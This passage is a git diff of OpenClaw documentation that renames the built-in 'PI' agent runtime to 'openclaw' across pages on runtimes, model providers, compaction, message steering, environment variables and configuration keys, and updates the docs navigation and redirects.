separates model providers, models, channels, and agent runtimes" title: "Agent runtimes" read_when: - - You are choosing between PI, Codex, ACP, or another native agent runtime + - You are choosing between OpenClaw, Codex, ACP, or another native agent runtime - You are confused by provider/model/runtime labels in status or config - You are documenting support parity for a native harness --- @@ -18,7 +18,7 @@ configuration. They are different layers: | ------------- | ------------------------------------- | ------------------------------------------------------------------- | | Provider | `openai`, `anthropic`, `openai-codex` | How OpenClaw authenticates, discovers models, and names model refs. | | Model | `gpt-5.5`, `claude-opus-4-6` | The model selected for the agent turn. | -| Agent runtime | `pi`, `codex`, `claude-cli` | The low level loop or backend that executes the prepared turn. | +| Agent runtime | `openclaw`, `codex`, `claude-cli` | The low level loop or backend that executes the prepared turn. | | Channel | Telegram, Discord, Slack, WhatsApp | Where messages enter and leave OpenClaw. | You will also see the word **harness** in code. A harness is the implementation @@ -32,7 +32,7 @@ runtime policy where needed. There are two runtime families: - **Embedded harnesses** run inside OpenClaw's prepared agent loop. Today this - is the built-in `pi` runtime plus registered plugin harnesses such as + is the built-in `openclaw` runtime plus registered plugin harnesses such as `codex`. - **CLI backends** run a local CLI process while keeping the model ref canonical. For example, `anthropic/claude-opus-4-7` with @@ -89,10 +89,10 @@ This is the agent-facing decision tree: native `/codex` command surface when the bundled `codex` plugin is enabled. 2. If the user asks for **Codex as the embedded runtime** or wants the normal subscription-backed Codex agent experience, use `openai/`. -3. If the user explicitly chooses **PI for an OpenAI model**, keep the model ref +3. If the user explicitly chooses **OpenClaw for an OpenAI model**, keep the model ref as `openai/` and set provider/model runtime policy to - `agentRuntime.id: "pi"`. A selected `openai-codex` auth profile is routed - internally through PI's legacy Codex-auth transport. + `agentRuntime.id: "openclaw"`. A selected `openai-codex` auth profile is routed + internally through OpenClaw's Codex-auth transport. 4. If legacy config still contains **`openai-codex/*` model refs**, repair it to `openai/` with `openclaw doctor --fix`; doctor keeps the Codex auth route by adding provider/model-scoped `agentRuntime.id: "codex"` where the @@ -119,15 +119,15 @@ contract, see [Codex harness runtime](/plugins/codex-harness-runtime#v1-support- Different runtimes own different amounts of the loop. -| Surface | OpenClaw PI embedded | Codex app-server | -| --------------------------- | --------------------------------------- | --------------------------------------------------------------------------- | -| Model loop owner | OpenClaw through the PI embedded runner | Codex app-server | -| Canonical thread state | OpenClaw transcript | Codex thread, plus OpenClaw transcript mirror | -| OpenClaw dynamic tools | Native OpenClaw tool loop | Bridged through the Codex adapter | -| Native shell and file tools | PI/OpenClaw path | Codex-native tools, bridged through native hooks where supported | -| Context engine | Native OpenClaw context assembly | OpenClaw projects assembled context into the Codex turn | -| Compaction | OpenClaw or selected context engine | Codex-native compaction, with OpenClaw notifications and mirror maintenance | -| Channel delivery | OpenClaw | OpenClaw | +| Surface | OpenClaw embedded | Codex app-server | +| --------------------------- | --------------------------------------------- | --------------------------------------------------------------------------- | +| Model loop owner | OpenClaw through the OpenClaw embedded runner | Codex app-server | +| Canonical thread state | OpenClaw transcript | Codex thread, plus OpenClaw transcript mirror | +| OpenClaw dynamic tools | Native OpenClaw tool loop | Bridged through the Codex adapter | +| Native shell and file tools | OpenClaw path | Codex-native tools, bridged through native hooks where supported | +| Context engine | Native OpenClaw context assembly | OpenClaw projects assembled context into the Codex turn | +| Compaction | OpenClaw or selected context engine | Codex-native compaction, with OpenClaw notifications and mirror maintenance | +| Channel delivery | OpenClaw | OpenClaw | This ownership split is the main design rule: @@ -149,7 +149,7 @@ OpenClaw chooses an embedded runtime after provider and model resolution: `models.providers..agentRuntime`. 3. In `auto` mode, registered plugin runtimes can claim supported provider/model pairs. -4. If no runtime claims a turn in `auto` mode, OpenClaw uses PI as the +4. If no runtime claims a turn in `auto` mode, OpenClaw uses `openclaw` as the compatibility runtime. Use an explicit runtime id when the run must be strict. @@ -161,7 +161,7 @@ legacy runtime model refs where OpenClaw can preserve the intent. Explicit provider/model plugin runtimes fail closed. For example, `agentRuntime.id: "codex"` on a provider or model means Codex or a clear -selection/runtime error; it is never silently routed back to PI. +selection/runtime error; it is never silently routed back to OpenClaw. CLI backend aliases are different from embedded harness ids. The preferred Claude CLI form is: @@ -191,10 +191,10 @@ backend. `auto` mode is intentionally conservative for most providers. OpenAI agent models are the exception: unset runtime and `auto` both resolve to the Codex -harness. Explicit PI runtime config remains an opt-in compatibility route for +harness. Explicit OpenClaw runtime config remains an opt-in compatibility route for `openai/*` agent turns; when paired with a selected `openai-codex` auth profile, -OpenClaw routes PI internally through the legacy Codex-auth transport while -keeping the public model ref as `openai/*`. Stale OpenAI PI session pins are +OpenClaw routes that path internally through the Codex-auth transport while +keeping the public model ref as `openai/*`. Stale OpenAI runtime session pins are ignored by runtime selection and can be cleaned with `openclaw doctor --fix`. If `openclaw doctor` warns that the `codex` plugin is enabled while @@ -203,7 +203,7 @@ If `openclaw doctor` warns that the `codex` plugin is enabled while ## Compatibility contract -When a runtime is not PI, it should document what OpenClaw surfaces it supports. +When a runtime is not OpenClaw, it should document what OpenClaw surfaces it supports. Use this shape for runtime docs: | Question | Why it matters | @@ -215,7 +215,7 @@ Use this shape for runtime docs: | Do native tool hooks work? | Shell, patch, and runtime-owned tools need native hook support for policy and observation. | | Does the context engine lifecycle run? | Memory and context plugins depend on assemble, ingest, after-turn, and compaction lifecycle. | | What compaction data is exposed? | Some plugins only need notifications, while others need kept/dropped metadata. | -| What is intentionally unsupported? | Users should not assume PI equivalence where the native runtime owns more state. | +| What is intentionally unsupported? | Users should not assume OpenClaw equivalence where the native runtime owns more state. | The Codex runtime support contract is documented in [Codex harness runtime](/plugins/codex-harness-runtime#v1-support-contract). diff --git a/docs/concepts/agent.md b/docs/concepts/agent.md index 02f4327d82e..af3dcf23e2b 100644 --- a/docs/concepts/agent.md +++ b/docs/concepts/agent.md @@ -69,9 +69,9 @@ Skills can be gated by config/env (see `skills` in [Gateway configuration](/gate ## Runtime boundaries -The embedded agent runtime is built on the Pi agent core (models, tools, and -prompt pipeline). Session management, discovery, tool wiring, and channel -delivery are OpenClaw-owned layers on top of that core. +The embedded agent runtime is OpenClaw-owned: model discovery, tool wiring, +prompt assembly, session management, and channel delivery share one integrated +runtime surface. ## Sessions diff --git a/docs/concepts/compaction.md b/docs/concepts/compaction.md index 5975147f28f..d2a7decbf29 100644 --- a/docs/concepts/compaction.md +++ b/docs/concepts/compaction.md @@ -54,7 +54,7 @@ Type `/compact` in any chat to force a compaction. Add instructions to guide the /compact Focus on the API design decisions ``` -When `agents.defaults.compaction.keepRecentTokens` is set, manual compaction honors that Pi cut-point and keeps the recent tail in rebuilt context. Without an explicit keep budget, manual compaction behaves as a hard checkpoint and continues from the new summary alone. +When `agents.defaults.compaction.keepRecentTokens` is set, manual compaction honors that OpenClaw cut-point and keeps the recent tail in rebuilt context. Without an explicit keep budget, manual compaction behaves as a hard checkpoint and continues from the new summary alone. ## Configuration diff --git a/docs/concepts/context-engine.md b/docs/concepts/context-engine.md index dda08773012..9c95165330e 100644 --- a/docs/concepts/context-engine.md +++ b/docs/concepts/context-engine.md @@ -241,26 +241,26 @@ info: { "agent-run": { requiredCapabilities: ["assemble-before-prompt"], unsupportedMessage: - "Use the native Codex or Pi embedded runtime, or select the legacy context engine.", + "Use the native Codex or OpenClaw embedded runtime, or select the legacy context engine.", }, }, } ``` -Native Codex and Pi embedded agent runs satisfy `assemble-before-prompt`. +Native Codex and OpenClaw embedded agent runs satisfy `assemble-before-prompt`. Generic CLI backends do not, so engines that require it are rejected before the CLI process starts. ### ownsCompaction -`ownsCompaction` controls whether Pi's built-in in-attempt auto-compaction stays enabled for the run: +`ownsCompaction` controls whether OpenClaw runtime's built-in in-attempt auto-compaction stays enabled for the run: - The engine owns compaction behavior. OpenClaw disables Pi's built-in auto-compaction for that run, and the engine's `compact()` implementation is responsible for `/compact`, overflow recovery compaction, and any proactive compaction it wants to do in `afterTurn()`. OpenClaw may still run the pre-prompt overflow safeguard; when it predicts the full transcript will overflow, the recovery path calls the active engine's `compact()` before submitting another prompt. + The engine owns compaction behavior. OpenClaw disables OpenClaw runtime's built-in auto-compaction for that run, and the engine's `compact()` implementation is responsible for `/compact`, overflow recovery compaction, and any proactive compaction it wants to do in `afterTurn()`. OpenClaw may still run the pre-prompt overflow safeguard; when it predicts the full transcript will overflow, the recovery path calls the active engine's `compact()` before submitting another prompt. - Pi's built-in auto-compaction may still run during prompt execution, but the active engine's `compact()` method is still called for `/compact` and overflow recovery. + OpenClaw runtime's built-in auto-compaction may still run during prompt execution, but the active engine's `compact()` method is still called for `/compact` and overflow recovery. diff --git a/docs/concepts/model-failover.md b/docs/concepts/model-failover.md index 51f0ed65e79..bfec2096d4c 100644 --- a/docs/concepts/model-failover.md +++ b/docs/concepts/model-failover.md @@ -184,7 +184,7 @@ When a profile fails due to auth/rate-limit errors (or a timeout that looks like Format/invalid-request errors are usually terminal because retrying the same payload would fail the same way, so OpenClaw surfaces them instead of rotating auth profiles. Known retry-repair paths can opt in explicitly: for example Cloud Code Assist tool call ID validation failures are sanitized and retried once through the `allowFormatRetry` policy. OpenAI-compatible stop-reason errors such as `Unhandled stop reason: error`, `stop reason: error`, and `reason: error` are classified as timeout/failover signals. - Generic server text can also land in that timeout bucket when the source matches a known transient pattern. For example, the bare pi-ai stream-wrapper message `An unknown error occurred` is treated as failover-worthy for every provider because pi-ai emits it when provider streams end with `stopReason: "aborted"` or `stopReason: "error"` without specific details. JSON `api_error` payloads with transient server text such as `internal server error`, `unknown error, 520`, `upstream error`, or `backend error` are also treated as failover-worthy timeouts. + Generic server text can also land in that timeout bucket when the source matches a known transient pattern. For example, the bare model runtime stream-wrapper message `An unknown error occurred` is treated as failover-worthy for every provider because the shared model runtime emits it when provider streams end with `stopReason: "aborted"` or `stopReason: "error"` without specific details. JSON `api_error` payloads with transient server text such as `internal server error`, `unknown error, 520`, `upstream error`, or `backend error` are also treated as failover-worthy timeouts. OpenRouter-specific generic upstream text such as bare `Provider returned error` is treated as timeout only when the provider context is actually OpenRouter. Generic internal fallback text such as `LLM request failed with an unknown error.` stays conservative and does not trigger failover by itself. diff --git a/docs/concepts/model-providers.md b/docs/concepts/model-providers.md index bfdb7e076e8..7875cfd4808 100644 --- a/docs/concepts/model-providers.md +++ b/docs/concepts/model-providers.md @@ -31,13 +31,13 @@ Reference for **LLM/model providers** (not chat channels like WhatsApp/Telegram) - `openai/` uses the native Codex app-server harness for agent turns by default. This is the usual ChatGPT/Codex subscription setup. - `openai-codex/` is legacy config that doctor rewrites to `openai/`. - - `openai/` plus provider/model `agentRuntime.id: "pi"` uses PI for explicit API-key or compatibility routes. + - `openai/` plus provider/model `agentRuntime.id: "openclaw"` uses OpenClaw's built-in runtime for explicit API-key or compatibility routes. See [OpenAI](/providers/openai) and [Codex harness](/plugins/codex-harness). If the provider/runtime split is confusing, read [Agent runtimes](/concepts/agent-runtimes) first. Plugin auto-enable follows the same boundary: `openai/*` agent refs enable the Codex plugin for the default route, and explicit provider/model `agentRuntime.id: "codex"` or legacy `codex/` refs also require it. - GPT-5.5 is available through the native Codex app-server harness by default on `openai/gpt-5.5`, and through PI only when provider/model runtime policy explicitly selects `pi`. + GPT-5.5 is available through the native Codex app-server harness by default on `openai/gpt-5.5`, and through the OpenClaw runtime when provider/model runtime policy explicitly selects `openclaw`. @@ -80,9 +80,9 @@ Provider-owned runner behavior lives on explicit provider hooks such as replay p -## Built-in providers (pi-ai catalog) +## Official provider plugins -OpenClaw ships with the pi-ai catalog. These providers require **no** `models.providers` config; just set auth + pick a model. +Official provider plugins publish their own model catalog rows. These providers require **no** `models.providers` model entries; enable the provider plugin, set auth, and pick a model. Use `models.providers` only for explicit custom providers or narrow request settings such as timeouts. ### OpenAI @@ -92,14 +92,14 @@ OpenClaw ships with the pi-ai catalog. These providers require **no** `models.pr - Example models: `openai/gpt-5.5`, `openai/gpt-5.4-mini` - Verify account/model availability with `openclaw models list --provider openai` if a specific install or API key behaves differently. - CLI: `openclaw onboard --auth-choice openai-api-key` -- Default transport is `auto`; OpenClaw passes the transport choice to pi-ai. +- Default transport is `auto`; OpenClaw passes the transport choice to the shared model runtime. - Override per model via `agents.defaults.models["openai/"].params.transport` (`"sse"`, `"websocket"`, or `"auto"`) - OpenAI priority processing can be enabled via `agents.defaults.models["openai/"].params.serviceTier` - `/fast` and `params.fastMode` map direct `openai/*` Responses requests to `service_tier=priority` on `api.openai.com` - Use `params.serviceTier` when you want an explicit tier instead of the shared `/fast` toggle - Hidden OpenClaw attribution headers (`originator`, `version`, `User-Agent`) apply only on native OpenAI traffic to `api.openai.com`, not generic OpenAI-compatible proxies - Native OpenAI routes also keep Responses `store`, prompt-cache hints, and OpenAI reasoning-compat payload shaping; proxy routes do not -- `openai/gpt-5.3-codex-spark` is intentionally suppressed in OpenClaw because live OpenAI API requests reject it; use `openai-codex/gpt-5.3-codex-spark` only when the Codex catalog exposes it for your account +- `openai/gpt-5.3-codex-spark` is intentionally suppressed in OpenClaw because live OpenAI API requests reject it and the current Codex catalog does not expose it ```json5 { @@ -134,23 +134,22 @@ Anthropic staff told us OpenClaw-style Claude CLI usage is allowed again, so Ope - Provider: `openai-codex` - Auth: OAuth (ChatGPT) -- Legacy PI model ref: `openai-codex/gpt-5.5` +- Legacy OpenAI Codex model ref: `openai-codex/gpt-5.5` - Native Codex app-server harness ref: `openai/gpt-5.5` - Native Codex app-server harness docs: [Codex harness](/plugins/codex-harness) - Legacy model refs: `codex/gpt-*` - Plugin boundary: `openai-codex/*` loads the OpenAI plugin; the native Codex app-server plugin is selected only by the Codex harness runtime or legacy `codex/*` refs. - CLI: `openclaw onboard --auth-choice openai-codex` or `openclaw models auth login --provider openai-codex` - Default transport is `auto` (WebSocket-first, SSE fallback) -- Override per PI model via `agents.defaults.models["openai-codex/"].params.transport` (`"sse"`, `"websocket"`, or `"auto"`) +- Override per OpenAI Codex model via `agents.defaults.models["openai-codex/"].params.transport` (`"sse"`, `"websocket"`, or `"auto"`) - `params.serviceTier` is also forwarded on native Codex Responses requests (`chatgpt.com/backend-api`) - Hidden OpenClaw attribution headers (`originator`, `version`, `User-Agent`) are only attached on native Codex traffic to `chatgpt.com/backend-api`, not generic OpenAI-compatible proxies - Shares the same `/fast` toggle and `params.fastMode` config as direct `openai/*`; OpenClaw maps that to `service_tier=priority` - `openai-codex/gpt-5.5` uses the Codex catalog native `contextWindow = 400000` and default runtime `contextTokens = 272000`; override the runtime cap with `models.providers.openai-codex.models[].contextTokens` - Policy note: OpenAI Codex OAuth is explicitly supported for external tools/workflows like OpenClaw. - For the common subscription plus native Codex runtime route, sign in with `openai-codex` auth but configure `openai/gpt-5.5`; OpenAI agent turns select Codex by default. -- Use provider/model `agentRuntime.id: "pi"` only when you want a compatibility route through PI; otherwise keep `openai/gpt-5.5` on the default Codex harness. -- `openai-codex/gpt-*` refs remain a legacy PI route. Prefer `openai/gpt-5.5` on the native Codex runtime for new agent config, and run `openclaw doctor --fix` when you want to migrate old `openai-codex/*` refs to canonical `openai/*` refs. -- `openai-codex/gpt-5.3-codex-spark` remains available only through Codex catalog discovery when the signed-in account advertises it; direct `openai/*` and Azure refs for that model stay suppressed. +- Use provider/model `agentRuntime.id: "openclaw"` only when you want the built-in OpenClaw route; otherwise keep `openai/gpt-5.5` on the default Codex harness. +- `openai-codex/gpt-*` refs remain a legacy OpenAI Codex route. Prefer `openai/gpt-5.5` on the native Codex runtime for new agent config, and run `openclaw doctor --fix` when you want to migrate old `openai-codex/*` refs to canonical `openai/*` refs. ```json5 { @@ -267,7 +266,7 @@ Gemini CLI JSON replies are parsed from `response`; usage falls back to `stats`, - Auth: `ZAI_API_KEY` - Example model: `zai/glm-5.1` - CLI: `openclaw onboard --auth-choice zai-api-key` - - Aliases: `z.ai/*` and `z-ai/*` normalize to `zai/*` + - Model refs use the canonical `zai/*` provider ID. - `zai-api-key` auto-detects the matching Z.AI endpoint; `zai-coding-global`, `zai-coding-cn`, `zai-global`, and `zai-cn` force a specific surface ### Vercel AI Gateway diff --git a/docs/concepts/models.md b/docs/concepts/models.md index fe75ae73636..afe4ce599d0 100644 --- a/docs/concepts/models.md +++ b/docs/concepts/models.md @@ -16,7 +16,7 @@ sidebarTitle: "Models CLI" Quick provider overview and examples. - PI, Codex, and other agent loop runtimes. + OpenClaw, Codex, and other agent loop runtimes. Model config keys. @@ -93,7 +93,8 @@ It can set up model + auth for common providers, including **OpenAI Code (Codex) - `models.providers` (custom providers written into `models.json`) -Model refs are normalized to lowercase. Provider aliases like `z.ai/*` normalize to `zai/*`. +Model refs are normalized to lowercase. Provider IDs are otherwise exact; use the +provider ID advertised by the plugin. Provider configuration examples (including OpenCode) live in [OpenCode](/providers/opencode). @@ -361,7 +362,7 @@ Marker persistence is source-authoritative: OpenClaw writes markers from the act ## Related -- [Agent runtimes](/concepts/agent-runtimes) — PI, Codex, and other agent loop runtimes +- [Agent runtimes](/concepts/agent-runtimes) — OpenClaw, Codex, and other agent loop runtimes - [Configuration reference](/gateway/config-agents#agent-defaults) — model config keys - [Image generation](/tools/image-generation) — image model configuration - [Model failover](/concepts/model-failover) — fallback chains diff --git a/docs/concepts/oauth.md b/docs/concepts/oauth.md index 0d8b1b684ec..8a3c261ce28 100644 --- a/docs/concepts/oauth.md +++ b/docs/concepts/oauth.md @@ -107,7 +107,7 @@ Claude login on the host, onboarding/configure can reuse it directly. ## OAuth exchange (how login works) -OpenClaw's interactive login flows are implemented in `@earendil-works/pi-ai` and wired into the wizards/commands. +OpenClaw's interactive login flows are implemented in `openclaw/plugin-sdk/llm` and wired into the wizards/commands. ### Anthropic setup-token diff --git a/docs/concepts/qa-e2e-automation.md b/docs/concepts/qa-e2e-automation.md index a0708f36840..9223da7dfe3 100644 --- a/docs/concepts/qa-e2e-automation.md +++ b/docs/concepts/qa-e2e-automation.md @@ -34,7 +34,7 @@ script aliases; both forms are supported. | `qa run` | Bundled QA self-check; writes a Markdown report. | | `qa suite` | Run repo-backed scenarios against the QA gateway lane. Aliases: `pnpm openclaw qa suite --runner multipass` for a disposable Linux VM. | | `qa coverage` | Print the markdown scenario-coverage inventory (`--json` for machine output). | -| `qa parity-report` | Compare two `qa-suite-summary.json` files and write the agentic parity report, or use `--runtime-axis --token-efficiency` to write Codex-vs-Pi runtime parity and token-efficiency reports from one runtime-pair summary. | +| `qa parity-report` | Compare two `qa-suite-summary.json` files and write the agentic parity report, or use `--runtime-axis --token-efficiency` to write Codex-vs-OpenClaw runtime parity and token-efficiency reports from one runtime-pair summary. | | `qa character-eval` | Run the character QA scenario across multiple live models with a judged report. See [Reporting](#reporting). | | `qa manual` | Run a one-off prompt against the selected provider/model lane. | | `qa ui` | Start the QA debugger UI and local QA bus (alias: `pnpm qa:lab:ui`). | diff --git a/docs/concepts/queue-steering.md b/docs/concepts/queue-steering.md index e659b1319c5..c837b6bf10d 100644 --- a/docs/concepts/queue-steering.md +++ b/docs/concepts/queue-steering.md @@ -10,24 +10,24 @@ title: "Steering queue" When a normal prompt arrives while a session run is already streaming, OpenClaw tries to send that prompt into the active runtime by default when the queue mode is `steer`. No config entry and no queue directive are required for that default -behavior. Pi and the native Codex app-server harness implement the delivery +behavior. OpenClaw and the native Codex app-server harness implement the delivery details differently. ## Runtime boundary -Steering does not interrupt a tool call that is already running. Pi checks for +Steering does not interrupt a tool call that is already running. OpenClaw checks for queued steering messages at model boundaries: 1. The assistant asks for tool calls. -2. Pi executes the current assistant message's tool-call batch. -3. Pi emits the turn end event. -4. Pi drains queued steering messages. -5. Pi appends those messages as user messages before the next LLM call. +2. OpenClaw executes the current assistant message's tool-call batch. +3. OpenClaw emits the turn end event. +4. OpenClaw drains queued steering messages. +5. OpenClaw appends those messages as user messages before the next LLM call. This keeps tool results paired with the assistant message that requested them, then lets the next model call see the latest user input. -The native Codex app-server harness exposes `turn/steer` instead of Pi's +The native Codex app-server harness exposes `turn/steer` instead of OpenClaw runtime's internal steering queue. OpenClaw batches queued prompts for the configured quiet window, then sends a single `turn/steer` request with all collected user input in arrival order. @@ -55,7 +55,7 @@ this steering path; they wait until the active run finishes. For the explicit If four users send messages while the agent is executing a tool call: - With default behavior, the active runtime receives all four messages in - arrival order before its next model decision. Pi drains them at the next model + arrival order before its next model decision. OpenClaw drains them at the next model boundary; Codex receives them as one batched `turn/steer`. - With `/queue collect`, OpenClaw does not steer. It waits until the active run ends, then creates a followup turn with compatible queued messages after the @@ -78,8 +78,8 @@ replace the active run. `messages.queue.debounceMs` applies to queued `followup` and `collect` delivery. In `steer` mode with the native Codex harness, it also sets the quiet window -before sending batched `turn/steer`. For Pi, active steering itself does not use -the debounce timer because Pi naturally batches messages until the next model +before sending batched `turn/steer`. For OpenClaw, active steering itself does not use +the debounce timer because OpenClaw naturally batches messages until the next model boundary. ## Related diff --git a/docs/concepts/queue.md b/docs/concepts/queue.md index df316508794..1f494616de1 100644 --- a/docs/concepts/queue.md +++ b/docs/concepts/queue.md @@ -16,7 +16,7 @@ We serialize inbound auto-reply runs (all channels) through a tiny in-process qu ## How it works - A lane-aware FIFO queue drains each lane with a configurable concurrency cap (default 1 for unconfigured lanes; main defaults to 4, subagent to 8). -- `runEmbeddedPiAgent` enqueues by **session key** (lane `session:`) to guarantee only one active run per session. +- `runEmbeddedAgent` enqueues by **session key** (lane `session:`) to guarantee only one active run per session. - Each session run is then queued into a **global lane** (`main` by default) so overall parallelism is capped by `agents.defaults.maxConcurrent`. - When verbose logging is enabled, queued runs emit a short notice if they waited more than ~2s before starting. - Typing indicators still fire immediately on enqueue (when supported by the channel) so user experience is unchanged while we wait our turn. @@ -40,7 +40,7 @@ active run to finish before starting the prompt. `/queue` controls what normal inbound messages do while a session already has an active run: -- `steer`: inject messages into the active runtime. Pi delivers all pending steering messages **after the current assistant turn finishes executing its tool calls**, before the next LLM call; Codex app-server receives one batched `turn/steer`. If the run is not actively streaming or steering is unavailable, OpenClaw waits until the active run ends before starting the prompt. +- `steer`: inject messages into the active runtime. OpenClaw delivers all pending steering messages **after the current assistant turn finishes executing its tool calls**, before the next LLM call; Codex app-server receives one batched `turn/steer`. If the run is not actively streaming or steering is unavailable, OpenClaw waits until the active run ends before starting the prompt. - `followup`: do not steer. Enqueue each message for a later agent turn after the current run ends. - `collect`: do not steer. Coalesce queued messages into a **single** followup turn after the quiet window. If messages target different channels/threads, they drain individually to preserve routing. - `interrupt`: abort the active run for that session, then run the newest message. diff --git a/docs/concepts/system-prompt.md b/docs/concepts/system-prompt.md index fe86219f9b1..3199de0536f 100644 --- a/docs/concepts/system-prompt.md +++ b/docs/concepts/system-prompt.md @@ -6,7 +6,7 @@ read_when: title: "System prompt" --- -OpenClaw builds a custom system prompt for every agent run. The prompt is **OpenClaw-owned** and does not use the pi-coding-agent default prompt. +OpenClaw builds a custom system prompt for every agent run. The prompt is **OpenClaw-owned** and does not use a runtime default prompt. The prompt is assembled by OpenClaw and injected into each agent run. diff --git a/docs/docs.json b/docs/docs.json index 27526a5aeaa..b0d739f5200 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -60,17 +60,33 @@ "source": "/install/migrating-matrix", "destination": "/channels/matrix-migration" }, + { + "source": "/mcp", + "destination": "/cli/mcp" + }, { "source": "/help/gpt54-codex-agentic-parity", - "destination": "/help/gpt55-codex-agentic-parity" + "destination": "/agent-runtime-architecture" }, { "source": "/help/gpt54-codex-agentic-parity-maintainers", - "destination": "/help/gpt55-codex-agentic-parity-maintainers" + "destination": "/agent-runtime-architecture" }, { - "source": "/mcp", - "destination": "/cli/mcp" + "source": "/help/gpt55-codex-agentic-parity", + "destination": "/agent-runtime-architecture" + }, + { + "source": "/help/gpt55-codex-agentic-parity-maintainers", + "destination": "/agent-runtime-architecture" + }, + { + "source": "/pi", + "destination": "/agent-runtime-architecture" + }, + { + "source": "/pi-dev", + "destination": "/openclaw-agent-runtime" }, { "source": "/providers/modelstudio", @@ -1050,7 +1066,7 @@ }, { "group": "Advanced setup", - "pages": ["start/setup", "pi-dev"] + "pages": ["start/setup", "openclaw-agent-runtime"] } ] }, @@ -1767,7 +1783,7 @@ { "group": "Technical reference", "pages": [ - "pi", + "agent-runtime-architecture", "reference/wizard", "reference/token-use", "reference/secretref-credential-surface", @@ -1787,9 +1803,7 @@ "concepts/markdown-formatting", "concepts/typing-indicators", "concepts/usage-tracking", - "concepts/timezone", - "help/gpt55-codex-agentic-parity", - "help/gpt55-codex-agentic-parity-maintainers" + "concepts/timezone" ] }, { diff --git a/docs/gateway/background-process.md b/docs/gateway/background-process.md index b0cd85e42dc..dac5f99082f 100644 --- a/docs/gateway/background-process.md +++ b/docs/gateway/background-process.md @@ -42,10 +42,10 @@ When spawning long-running child processes outside the exec/process tools (for e Environment overrides: -- `PI_BASH_YIELD_MS`: default yield (ms) -- `PI_BASH_MAX_OUTPUT_CHARS`: in-memory output cap (chars) +- `OPENCLAW_BASH_YIELD_MS`: default yield (ms) +- `OPENCLAW_BASH_MAX_OUTPUT_CHARS`: in-memory output cap (chars) - `OPENCLAW_BASH_PENDING_MAX_OUTPUT_CHARS`: pending stdout/stderr cap per stream (chars) -- `PI_BASH_JOB_TTL_MS`: TTL for finished sessions (ms, bounded to 1m–3h) +- `OPENCLAW_BASH_JOB_TTL_MS`: TTL for finished sessions (ms, bounded to 1m–3h) - `OPENCLAW_PROCESS_INPUT_WAIT_IDLE_MS`: idle-output threshold before writable background sessions are marked as likely waiting for input (default 15000 ms) Config (preferred): diff --git a/docs/gateway/config-agents.md b/docs/gateway/config-agents.md index 8e65e745de6..98a6e898370 100644 --- a/docs/gateway/config-agents.md +++ b/docs/gateway/config-agents.md @@ -487,7 +487,7 @@ Time format in system prompt. Default: `auto` (OS preference). agentRuntime: { id: "claude-cli" }, }, "vllm/*": { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, @@ -495,8 +495,9 @@ Time format in system prompt. Default: `auto` (OS preference). } ``` -- `id`: `"auto"`, `"pi"`, a registered plugin harness id, or a supported CLI backend alias. The bundled Codex plugin registers `codex`; the bundled Anthropic plugin provides the `claude-cli` CLI backend. -- `id: "auto"` lets registered plugin harnesses claim supported turns and uses PI when no harness matches. An explicit plugin runtime such as `id: "codex"` requires that harness and fails closed if it is unavailable or fails. +- `id`: `"auto"`, `"openclaw"`, a registered plugin harness id, or a supported CLI backend alias. The bundled Codex plugin registers `codex`; the bundled Anthropic plugin provides the `claude-cli` CLI backend. +- `id: "auto"` lets registered plugin harnesses claim supported turns and uses OpenClaw when no harness matches. An explicit plugin runtime such as `id: "codex"` requires that harness and fails closed if it is unavailable or fails. +- `id: "pi"` is accepted only as a deprecated alias for `openclaw` to preserve shipped configs from v2026.5.22 and earlier. New config should use `openclaw`. - Runtime precedence is exact model policy first (`agents.list[].models["provider/model"]`, `agents.defaults.models["provider/model"]`, or `models.providers..models[]`), then `agents.list[]` / `agents.defaults.models["provider/*"]`, then provider-wide policy at `models.providers..agentRuntime`. - Whole-agent runtime keys are legacy. `agents.defaults.agentRuntime`, `agents.list[].agentRuntime`, session runtime pins, and `OPENCLAW_AGENT_RUNTIME` are ignored by runtime selection. Run `openclaw doctor --fix` to remove stale values. - OpenAI agent models use the Codex harness by default; provider/model `agentRuntime.id: "codex"` remains valid when you want to make that explicit. @@ -577,7 +578,7 @@ Replace the entire OpenClaw-assembled system prompt with a fixed string. Set at ### `agents.defaults.promptOverlays` -Provider-independent prompt overlays applied by model family on OpenClaw-assembled prompt surfaces. GPT-5-family model ids receive the shared behavior contract across PI/provider routes; `personality` controls only the friendly interaction-style layer. Native Codex app-server routes keep Codex-owned base/model instructions instead of this OpenClaw GPT-5 overlay, and OpenClaw disables Codex's built-in personality for native threads. +Provider-independent prompt overlays applied by model family on OpenClaw-assembled prompt surfaces. GPT-5-family model ids receive the shared behavior contract across OpenClaw/provider routes; `personality` controls only the friendly interaction-style layer. Native Codex app-server routes keep Codex-owned base/model instructions instead of this OpenClaw GPT-5 overlay, and OpenClaw disables Codex's built-in personality for native threads. ```json5 { @@ -653,7 +654,7 @@ Periodic heartbeat runs. identifierPolicy: "strict", // strict | off | custom identifierInstructions: "Preserve deployment IDs, ticket IDs, and host:port pairs exactly.", // used when identifierPolicy=custom qualityGuard: { enabled: true, maxRetries: 1 }, - midTurnPrecheck: { enabled: false }, // optional Pi tool-loop pressure check + midTurnPrecheck: { enabled: false }, // optional tool-loop pressure check postCompactionSections: ["Session Startup", "Red Lines"], // opt in to AGENTS.md section reinjection model: "openrouter/anthropic/claude-sonnet-4-6", // optional compaction-only model override truncateAfterCompaction: true, // rotate to a smaller successor JSONL after compaction @@ -675,11 +676,11 @@ Periodic heartbeat runs. - `mode`: `default` or `safeguard` (chunked summarization for long histories). See [Compaction](/concepts/compaction). - `provider`: id of a registered compaction provider plugin. When set, the provider's `summarize()` is called instead of built-in LLM summarization. Falls back to built-in on failure. Setting a provider forces `mode: "safeguard"`. See [Compaction](/concepts/compaction). - `timeoutSeconds`: maximum seconds allowed for a single compaction operation before OpenClaw aborts it. Default: `900`. -- `keepRecentTokens`: Pi cut-point budget for keeping the most recent transcript tail verbatim. Manual `/compact` honors this when explicitly set; otherwise manual compaction is a hard checkpoint. +- `keepRecentTokens`: agent cut-point budget for keeping the most recent transcript tail verbatim. Manual `/compact` honors this when explicitly set; otherwise manual compaction is a hard checkpoint. - `identifierPolicy`: `strict` (default), `off`, or `custom`. `strict` prepends built-in opaque identifier retention guidance during compaction summarization. - `identifierInstructions`: optional custom identifier-preservation text used when `identifierPolicy=custom`. - `qualityGuard`: retry-on-malformed-output checks for safeguard summaries. Enabled by default in safeguard mode; set `enabled: false` to skip the audit. -- `midTurnPrecheck`: optional Pi tool-loop pressure check. When `enabled: true`, OpenClaw checks context pressure after tool results are appended and before the next model call. If the context no longer fits, it 